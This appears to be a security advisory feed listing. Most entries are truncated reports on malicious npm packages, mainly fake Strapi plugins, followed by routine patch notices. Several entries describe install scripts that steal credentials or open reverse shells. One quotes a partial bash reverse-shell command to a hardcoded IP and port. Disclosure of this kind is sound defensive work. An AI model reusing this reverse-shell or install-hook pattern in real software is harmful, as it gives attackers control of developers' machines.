MAL-2026-16176 Malicious code in fulfillment-cuprum-auth-widget (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 06df6767178d76043d26df04fcbe4e8de2f579d38e96f52a04346c04a6dda565 The package's preinstall script index.js runs automatically on npm install and collects host identifiers via os.hostname, os.userInfo, os.homedir, an...

MAL-2026-16192 Malicious code in strapi-plugin-weccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b4a6e3de6177f265d44cf7317b020dbaed43907a0ed75b05ae0fe4eebaab469 The package's postinstall.js also declared as main executes automatically on npm install and performs bulk host reconnaissance and credential theft...

MAL-2026-16191 Malicious code in strapi-plugin-uicc-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d393f18bab3c8fe1d9bea2d425d24d385657785e23cc053ac5e2c1c322f75129 postinstall.js is registered as both the npm postinstall hook and the package main. On install it polls os.hostname every 3 seconds and, when the...

MAL-2026-16187 Malicious code in strapi-plugin-revsh-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d6d4e28da86ccc1cb11bae22a247171657c958b6bf24b8bf4541bb08970c969b package.json declares scripts.postinstall = "node postinstall.js", causing postinstall.js to run automatically on npm install. That file executes bas...

MAL-2026-16193 Malicious code in strapi-plugin-yayccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de07e63ac0a0d5b02ad74abd90d075d73e80cdfcc1bbfbdfcfbe56460354735a The package's postinstall lifecycle script node postinstall.js executes a bash reverse shell that connects to the hardcoded remote endpoint...

MAL-2026-16185 Malicious code in strapi-plugin-revs01-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 981b426b3809283ad517caf0032d403db2c479faa3c717620151cbfabcc9b81c [email protected] ships a postinstall lifecycle script scripts.postinstall = node postinstall.js that spawns /bin/bash via...

MAL-2026-16190 Malicious code in strapi-plugin-tryccresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55571a74d951028d497f98afecfee7720d6ae4138513ead2c2fa46b7f96e5af The package's postinstall lifecycle script postinstall.js uses childprocess.exec to spawn bash -c 'bash -i /dev/tcp/14.225.210.85/443...', opening an...

MAL-2026-16188 Malicious code in strapi-plugin-rs-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6293e711bb544c63fcc29178febb4100cee80f9cbd1060b3c3173445419a172c postinstall.js runs unconditionally during npm install via scripts.postinstall and executes a bash reverse shell that redirects an interactive shell'...

MAL-2026-16181 Malicious code in strapi-plugin-plsresh-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ae27e46ab1160942d8d569f2237b9890a5f0a2cac36171ced091678c2a876c44 The package's postinstall lifecycle script runs a bash reverse shell that opens a TCP connection to the hardcoded host 14.225.210.85 on port 443 and...

CLSA-2026-1789484066 TuxCare security update for 13 packages (1 CVE)

TuxCare rebuilt 13 packages to address 1 CVE. Fixed in 14.2.35-tuxcare.9...

CLSA-2026-1789479340 TuxCare security update for 2 packages (2 CVEs)

TuxCare rebuilt 2 packages to address 2 CVEs. Fixed in 0.7.4-tuxcare.1...

CLSA-2026-1789478968 TuxCare security update for vitest (1 CVE)

TuxCare rebuilt vitest to address 1 CVE. Fixed in 4.0.18-tuxcare.1...

ROOT-APP-NPM-CVE-2024-4367 CVE-2024-4367 in pdfjs-dist - Patched by Root

Root has patched CVE-2024-4367 in the pdfjs-dist package for Root:npm. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2026-35523 CVE-2026-35523 in strawberry-graphql - Patched by Root

Root has patched CVE-2026-35523 in the strawberry-graphql package for Root:PyPI. Multiple fixed versions available...

CLSA-2026-1789461261 TuxCare security update for 22 packages (1 CVE)

TuxCare rebuilt 22 packages to address 1 CVE. Fixed in 16.0.6-tuxcare.9...

CLSA-2026-1789461217 TuxCare security update for net.minidev (1 CVE)

TuxCare rebuilt 3 net.minidev packages to address 1 CVE. Fixed in 2.5.1-tuxcare.1...

ROOT-APP-NPM-CVE-2026-50272 CVE-2026-50272 in dd-trace - Patched by Root

Root has patched CVE-2026-50272 in the dd-trace package for Root:npm. Multiple fixed versions available...

CLEANSTART-2026-RA54974 undici's retry interceptor can append the body of a ranged retry response to bytes already delivered from an earlier partial response while still presenting the original response's status and headers

Multiple security vulnerabilities affect the npm package. undici's retry interceptor can append the body of a ranged retry response to bytes already delivered from an earlier partial response while still presenting the original response's status and headers. See references for individual...

CLEANSTART-2026-NR05292 gRPC-Go is the Go language implementation of gRPC

Multiple security vulnerabilities affect the metallb package. gRPC-Go is the Go language implementation of gRPC. See references for individual vulnerability details...

CLEANSTART-2026-BW73838 Previously, after a channel has been established, a malicious peer could send crafted messages that would deadlock the entire connection

Multiple security vulnerabilities affect the helm package. Previously, after a channel has been established, a malicious peer could send crafted messages that would deadlock the entire connection. See references for individual vulnerability details...